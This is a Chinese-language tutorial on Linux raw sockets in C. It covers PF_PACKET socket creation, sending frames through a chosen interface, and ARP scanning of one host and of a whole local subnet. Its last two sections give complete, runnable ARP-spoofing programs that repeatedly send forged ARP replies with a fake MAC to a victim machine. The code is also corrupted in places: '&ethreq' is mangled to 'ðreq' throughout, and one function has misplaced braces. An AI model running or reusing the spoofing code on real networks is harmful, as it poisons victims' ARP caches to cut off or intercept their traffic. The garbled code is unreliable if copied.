原始套接字
原始套接字(SOCK_RAW)
1、一種不同於SOCK_STREAM、SOCK_DGRAM的套接字,它實現於系統核心
2、可以接收本機網卡上所有的數據幀(數據包),對於監聽網絡流量和分析網絡數據很有作用
3、開發人員可發送自己組裝的數據包到網絡上
4、廣泛應用於高級網絡編程
5、網絡專家、黑客通常會用此來編寫奇特的網絡程序
流式套接字只能收發
TCP協議的數據
數據報套接字只能收發
UDP協議的數據
原始套接字可以收發
1、內核沒有處理的數據包,因此要訪問其他協議
2、發送的數據需要使用,原始套接字(SOCK_RAW)
1、創建原始套接字
int socket(PF_PACKET, SOCK_RAW, protocol)
功能:
創建鏈路層的原始套接字
參數:
protocol:指定可以接收或發送的數據包類型
ETH_P_IP:IPV4數據包
ETH_P_ARP:ARP數據包
ETH_P_ALL:任何協議類型的數據包
返回值:
成功(>0):鏈路層套接字
失敗(<0):出錯
頭文件:
#include <sys/socket.h>
#include <netinet/ether.h>
#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
int main()
{
//創建一個鏈路層 通信的原始套接字
int fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
printf("fd = %d\n", fd);
close(fd);
return 0;
}
2、原始套接字發送數據(sendto)
sendto(sock_raw_fd, msg, msg_len, 0,(struct sockaddr*)&sll, sizeof(sll));
注意:
1、sock_raw_fd:原始套接字
2、msg:發送的消息(封裝好的協議數據)
3、sll:本機網絡接口,指發送的數據應該從本機的哪個網卡出去,而不是以前的目的地址
想一想:
如何定義sll?
原始套接字:組幀數據報文----->從本機的哪塊網卡sendto發出去
2.1、本機的接口地址結構
#include <netpacket/packet.h>
struct sockaddr_ll sll;
只需要對sll.sll_ifindex賦值,就可使用
2.2、獲取我們的本地接口
通過ioctl來獲取網絡接口地址
struct ifreq:#include <net/if.h>
IFNAMSIZ 16
#include <sys/ioctl.h>
int ioctl(int fd, int request,void *)
ioctl參數對照表:
案例1:掃描mac地址 (要知道ARP協議)
ARP概述
ARP(Address Resolution Protocol,地址解析協議)
1、是TCP/IP協議族中的一個
2、主要用於查詢指定ip所對應的的MAC
3、請求方使用廣播來發送請求
4、應答方使用單播來回送數據
5、爲了在發送數據的時候提高效率在計算中會有一個ARP緩存表,用來暫時存放ip所對應的MAC,在linux中使用ARP即可查看,在xp中使用ARP -a
在linux與xp系統下查看ARP的方式:
以機器A獲取機器B的MAC爲例:
ARP協議格式:
#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<pthread.h>
#include<unistd.h>//_exit
#include<string.h>//strncpy
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);
void *recv_msg(void *arg)
{
int sockfd = (int)arg;
while(1)
{
unsigned char buf[1500]="";
recvfrom(sockfd, buf,sizeof(buf), 0,NULL,NULL);
if(ntohs(*(unsigned short *)(buf+12)) == 0x0806)//arp報文
{
if(ntohs(*(unsigned short *)(buf+14+6)) == 2)//應答
{
//獲取mac buf中的
unsigned char tmp_ip[4]={192,168,0,110};
if(memcmp(tmp_ip,buf+14+14, 4) == 0)
{
char mac[18]="";
sprintf(mac,"%02x:%02x:%02x:%02x:%02x:%02x",
buf[6+0],buf[6+1],buf[6+2],buf[6+3],buf[6+4],buf[6+5]);
char ip[16]="";
sprintf(ip,"%d.%d.%d.%d",\
buf[28+0],buf[28+1],buf[28+2],buf[28+3]);
printf("IP:%s--->MAC:%s\n",ip,mac);
break;
}
}
}
return NULL;
}
}
int main()
{
//1、創建原始套接字
int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(sockfd < 0)
{
perror("socket");
return 0;
}
//msg存放arp請求報文
unsigned char msg[]={
/*mac報文頭部 14B*/
0xff,0xff,0xff,0xff,0xff,0xff,/*目的mac地址*/
0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根據自己修改 ubuntu_mac*/
0x08,0x06,/*幀類型*/
/*ARP報文頭部 28B*/
0x00,0x01,/*硬件類型*/
0x08,0x00,/*協議類型*/
6,/*硬件地址長度*/
4,/*協議地址長度*/
0x00,0x01,/*1 ARP請求*/
0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根據自己修改 ubuntu_mac*/
192,168,0,111,/*源IP 根據自己修改 ubuntu_ip*/
0x00,0x00,0x00,0x00,0x00,0x00,/*目的mac地址*/
192,168,0,110/*目的IP*/
};
//創建線程接受arp應答
pthread_t tid;
pthread_create(&tid,NULL, recv_msg, (void *)sockfd);
//發送arp請求幀數據
my_sendto(sockfd, "eth0",msg, 42);
//等待線程結束
pthread_join(tid, NULL);
close(sockfd);
return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
//通過ioctl得到網絡接口
struct ifreq ethreq;
strncpy(ethreq.ifr_name, out, IFNAMSIZ);
if(-1 == ioctl(sockfd, SIOCGIFINDEX, ðreq))
{
perror("ioctl");
close(sockfd);
_exit(-1);
}
//幀數據 出去的本地接口
struct sockaddr_ll sll;
bzero(&sll,sizeof(sll));
sll.sll_ifindex = ethreq.ifr_ifindex;
//2、發送組好報文的幀數據
sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}
運行結果:
案例2 掃描整個局域網的mac地址
#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<pthread.h>
#include<unistd.h>//_exit
#include<string.h>//strncpy
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);
void *recv_msg(void *arg)
{
int sockfd = (int)arg;
while(1)
{
unsigned char buf[1500]="";
recvfrom(sockfd, buf,sizeof(buf), 0,NULL,NULL);
if(ntohs(*(unsigned short *)(buf+12)) == 0x0806)//arp報文
{
if(ntohs(*(unsigned short *)(buf+14+6)) == 2)//應答
{
char mac[18]="";
sprintf(mac,"%02x:%02x:%02x:%02x:%02x:%02x",
buf[6+0],buf[6+1],buf[6+2],buf[6+3],buf[6+4],buf[6+5]);
char ip[16]="";
sprintf(ip,"%d.%d.%d.%d",\
buf[28+0],buf[28+1],buf[28+2],buf[28+3]);
printf("IP:%s--->MAC:%s\n",ip,mac);
}
}
}
return NULL;
}
int main()
{
//1、創建原始套接字
int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(sockfd < 0)
{
perror("socket");
return 0;
}
//msg存放arp請求報文
unsigned char msg[]={
/*mac報文頭部 14B*/
0xff,0xff,0xff,0xff,0xff,0xff,/*目的mac地址*/
0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根據自己修改 ubuntu_mac*/
0x08,0x06,/*幀類型*/
/*ARP報文頭部 28B*/
0x00,0x01,/*硬件類型*/
0x08,0x00,/*協議類型*/
6,/*硬件地址長度*/
4,/*協議地址長度*/
0x00,0x01,/*1 ARP請求*/
0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根據自己修改 ubuntu_mac*/
192,168,0,111,/*源IP 根據自己修改 ubuntu_ip*/
0x00,0x00,0x00,0x00,0x00,0x00,/*目的mac地址*/
192,168,0,0/*目的IP*/
};
//創建線程接受arp應答
pthread_t tid;
pthread_create(&tid,NULL, recv_msg, (void *)sockfd);
sleep(2);
//發送arp請求幀數據
int i=0;
for(i=1;i<255;i++)
{
msg[41]=i;
my_sendto(sockfd, "eth0",msg, 42);
}
sleep(3);
close(sockfd);
return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
//通過ioctl得到網絡接口
struct ifreq ethreq;
strncpy(ethreq.ifr_name, out, IFNAMSIZ);
if(-1 == ioctl(sockfd, SIOCGIFINDEX, ðreq))
{
perror("ioctl");
close(sockfd);
_exit(-1);
}
//幀數據 出去的本地接口
struct sockaddr_ll sll;
bzero(&sll,sizeof(sll));
sll.sll_ifindex = ethreq.ifr_ifindex;
//2、發送組好報文的幀數據
sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}
運行結果:
案例:ARP欺騙1 (數組逐個元素組包)
#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<unistd.h>//_exit
#include<string.h>//strncpy
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);
int main()
{
//1、創建原始套接字
int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(sockfd < 0)
{
perror("socket");
return 0;
}
//msg存放arp應答報文
unsigned char msg[]={
/*mac報文頭部 14B*/
0x70,0x5A,0x0F,0x63,0xF5,0x9D,/*目的mac地址 XPmac*/
0x00,0x00,0x00,0x00,0x00,0x00,/*源mac地址僞裝的mac 假的*/
0x08,0x06,/*幀類型*/
/*ARP報文頭部 28B*/
0x00,0x01,/*硬件類型*/
0x08,0x00,/*協議類型*/
6,/*硬件地址長度*/
4,/*協議地址長度*/
0x00,0x02,/*2 ARP應答*/
0x00,0x00,0x00,0x00,0x00,0x00,/*源mac地址僞裝的mac 假的*/
192,168,0,111,/*源IP 根據自己修改 ubuntu_ip*/
0x70,0x5A,0x0F,0x63,0xF5,0x9D,/*目的mac地址 xp_mac*/
192,168,0,110/*目的IP*/
};
//發送arp請求幀數據
int i=0;
for(i=1;i<20;i++)
{
my_sendto(sockfd, "eth0",msg, 42);
sleep(1);
}
close(sockfd);
return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
//通過ioctl得到網絡接口
struct ifreq ethreq;
strncpy(ethreq.ifr_name, out, IFNAMSIZ);
if(-1 == ioctl(sockfd, SIOCGIFINDEX, ðreq))
{
perror("ioctl");
close(sockfd);
_exit(-1);
}
//幀數據 出去的本地接口
struct sockaddr_ll sll;
bzero(&sll,sizeof(sll));
sll.sll_ifindex = ethreq.ifr_ifindex;
//2、發送組好報文的幀數據
sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}
運行之前:
運行之後:sudo ./a.out
案例:ARP欺騙2 (結構體完成)
1、以太網結構體
struct ether_header所在位置:#include <net/ethernet.h>(首選)
2、ARP 頭部
Struct arphdr ;所在位置 /usr/include/net/if_arp.h #include <net/if_arp.h>
使用的時候記得將#if 0—>改成#if 1
案例:
#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<unistd.h>//_exit
#include<string.h>//strncpy
#include <net/ethernet.h>//struct ether_header
#include <net/if_arp.h>//struct arphdr
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);
int main()
{
//1、創建原始套接字
int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(sockfd < 0)
{
perror("socket");
return 0;
}
/*目的mac地址 XPmac*/
unsigned char dst_mac[6]={0x70,0x5A,0x0F,0x63,0xF5,0x9D};
unsigned char src_mac[6]={0x00};
unsigned char src_ip[4]={192,168,0,111};
unsigned char dst_ip[4]={192,168,0,110};
unsigned char msg[1024]="";
//1、組mac頭部
struct ether_header *eth_addr = (struct ether_header *)msg;
//賦值目的mac地址
memcpy(eth_addr->ether_dhost, dst_mac, 6);
//賦值源mac地址
memcpy(eth_addr->ether_shost, src_mac, 6);
//賦值幀類型
eth_addr->ether_type = htons(0x0806);
//2、組arp頭部
struct arphdr *arp_head = (struct arphdr *)(msg+14);
arp_head->ar_hrd = htons(1);
arp_head->ar_pro = htons(0x0800);
arp_head->ar_hln = 6;
arp_head->ar_pln = 4;
arp_head->ar_op = htons(2);
memcpy(arp_head->__ar_sha, src_mac,6);
memcpy(arp_head->__ar_sip, src_ip,4);
memcpy(arp_head->__ar_tha, dst_mac,6);
memcpy(arp_head->__ar_tip, dst_ip,4);
//發送arp請求幀數據
int i=0;
for(i=1;i<20;i++)
{
my_sendto(sockfd, "eth0",msg, 42);
sleep(1);
}
close(sockfd);
return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
//通過ioctl得到網絡接口
struct ifreq ethreq;
strncpy(ethreq.ifr_name, out, IFNAMSIZ);
if(-1 == ioctl(sockfd, SIOCGIFINDEX, ðreq))
{
perror("ioctl");
close(sockfd);
_exit(-1);
}
//幀數據 出去的本地接口
struct sockaddr_ll sll;
bzero(&sll,sizeof(sll));
sll.sll_ifindex = ethreq.ifr_ifindex;
//2、發送組好報文的幀數據
sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}